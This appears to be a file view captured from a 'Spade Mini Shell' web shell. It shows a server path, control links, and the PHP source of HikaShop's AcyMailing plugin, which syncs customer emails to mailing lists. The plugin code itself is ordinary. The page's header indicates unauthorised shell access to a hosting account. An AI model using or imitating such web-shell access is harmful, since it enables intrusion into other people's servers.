Spade
Mini Shell
| Directory:~$ /home/lmsyaran/public_html/joomla4/ |
| [Home] [System Details] [Kill Me] |
home/lmsyaran/public_html/j3/plugins/hikashop/acymailing/acymailing.php000064400000013746151162021340022400
0ustar00<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class plgHikashopAcymailing extends JPlugin {
public function __construct(&$subject, $config) {
parent::__construct($subject, $config);
if(isset($this->params))
return;
$plugin = JPluginHelper::getPlugin('hikashop',
'acymailing');
$this->params = new JRegistry($plugin->params);
}
function onAfterOrderCreate(&$order,&$send_email) {
return $this->onAfterOrderUpdate($order,$send_email);
}
function onAfterOrderUpdate(&$order,&$send_email){
if(!empty($order->order_id) &&
!empty($order->order_status)){
if(empty($order->order_user_id)){
$class = hikashop_get('class.order');
$old = $class->get($order->order_id);
$order->order_user_id = $old->order_user_id;
}
$userClass = hikashop_get('class.user');
$user = $userClass->get($order->order_user_id);
if(!empty($user)){
$helper =
rtrim(str_replace('/',DS,JPATH_ADMINISTRATOR),DS).DS.'components'.DS.'com_acymailing'.DS.'helpers'.DS.'helper.php';
if(file_exists($helper)){
include_once($helper);
if(function_exists('acymailing_get')){
$subClass = acymailing_get('class.subscriber');
$sub = $subClass->get($user->email);
if(!empty($sub->subid)){
if(file_exists(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_acymailing'.DS.'classes'.DS.'filter.php')){
$filterClass = acymailing_get('class.filter');
if($filterClass){
$filterClass->subid = $sub->subid;
$filterClass->trigger('hikaorder_'.$order->order_status);
}
}
}
}
}
}
}
return true;
}
function onHikashopAfterCheckDB(&$ret){
$helper =
rtrim(str_replace('/',DS,JPATH_ADMINISTRATOR),DS).DS.'components'.DS.'com_acymailing'.DS.'helpers'.DS.'helper.php';
if(!file_exists($helper)) return;
$db = JFactory::getDBO();
$query = 'INSERT IGNORE INTO `#__acymailing_subscriber`
(`email`,`userid`,`created`) SELECT `user_email`,
`user_cms_id`,'.time().' FROM `#__hikashop_user`';
$db->setQuery($query);
try{
$result = $db->execute();
} catch(Exception $e) {
$ret[] = array(
'error',
'User emails not synchronized with AcyMailing
('.$e->getMessage().')'
);
return;
}
$ret[] = array(
'success',
'User emails synchronized with AcyMailing'
);
}
function onAfterUserCreate(&$hikauser){
$helper =
rtrim(str_replace('/',DS,JPATH_ADMINISTRATOR),DS).DS.'components'.DS.'com_acymailing'.DS.'helpers'.DS.'helper.php';
if(!file_exists($helper) || empty($hikauser->user_email)) return;
include_once($helper);
if(!function_exists('acymailing_get')){
return;
}
$subscriberClass = acymailing_get('class.subscriber');
$subscriberClass->geolocRight = true;
$subscriberClass->checkVisitor = false;
$subid = $subscriberClass->subid($hikauser->user_email);
if(!empty($subid)) return;
$acysub = new stdClass();
$acysub->name = '';
if(!empty($_REQUEST['data']['address']['address_firstname']))
$acysub->name .=
$_REQUEST['data']['address']['address_firstname'].'
';
if(!empty($_REQUEST['data']['address']['address_middle_name']))
$acysub->name .=
$_REQUEST['data']['address']['address_middle_name'].'
';
if(!empty($_REQUEST['data']['address']['address_lastname']))
$acysub->name .=
$_REQUEST['data']['address']['address_lastname'].'
';
$acysub->name = trim(strip_tags($acysub->name));
$acysub->email = $hikauser->user_email;
$acysub->confirmed = 1;
$acysub->enabled = 1;
$customValues = hikaInput::get()->get('regacy', array(),
'array');
$session = JFactory::getSession();
if(empty($customValues) &&
$session->get('regacy')){
$customValues = $session->get('regacy');
$session->set('regacy',null );
}
if(!empty($customValues)){
$subscriberClass->checkFields($customValues,$acysub);
}
$subid = $subscriberClass->save($acysub);
if(empty($subid)) return;
$config = acymailing_config();
$listsToSubscribe =
$config->get('autosub','None');
$currentSubscription =
$subscriberClass->getSubscriptionStatus($subid);
$listsClass = acymailing_get('class.list');
$allLists = $listsClass->getLists('listid');
if(acymailing_level(1)){
$allLists = $listsClass->onlyCurrentLanguage($allLists);
}
$visiblelistschecked = hikaInput::get()->get('acysub',
array(), 'array');
$acySubHidden = hikaInput::get()->getString(
'acysubhidden');
if(!empty($acySubHidden)){
$visiblelistschecked =
array_merge($visiblelistschecked,explode(',',$acySubHidden));
}
$session = JFactory::getSession();
if(empty($visiblelistschecked) &&
$session->get('acysub')){
$visiblelistschecked = $session->get('acysub');
$session->set('acysub',null );
}
$listsArray = array();
if(strpos($listsToSubscribe,',') OR
is_numeric($listsToSubscribe)){
$listsArrayParam = explode(',',$listsToSubscribe);
foreach($allLists as $oneList){
if($oneList->published AND
(in_array($oneList->listid,$visiblelistschecked) ||
in_array($oneList->listid,$listsArrayParam))){$listsArray[] =
$oneList->listid;}
}
}elseif(strtolower($listsToSubscribe) == 'all'){
foreach($allLists as $oneList){
if($oneList->published){$listsArray[] = $oneList->listid;}
}
}elseif(!empty($visiblelistschecked)){
foreach($allLists as $oneList){
if($oneList->published AND
in_array($oneList->listid,$visiblelistschecked)){$listsArray[] =
$oneList->listid;}
}
}
$statusAdd = 1;
$addlists = array();
if(!empty($listsArray)){
foreach($listsArray as $idOneList){
if(!isset($currentSubscription[$idOneList])){
$addlists[$statusAdd][] = $idOneList;
}
}
}
if(!empty($addlists)) {
$listsubClass = acymailing_get('class.listsub');
$listsubClass->addSubscription($subid,$addlists);
}
}
}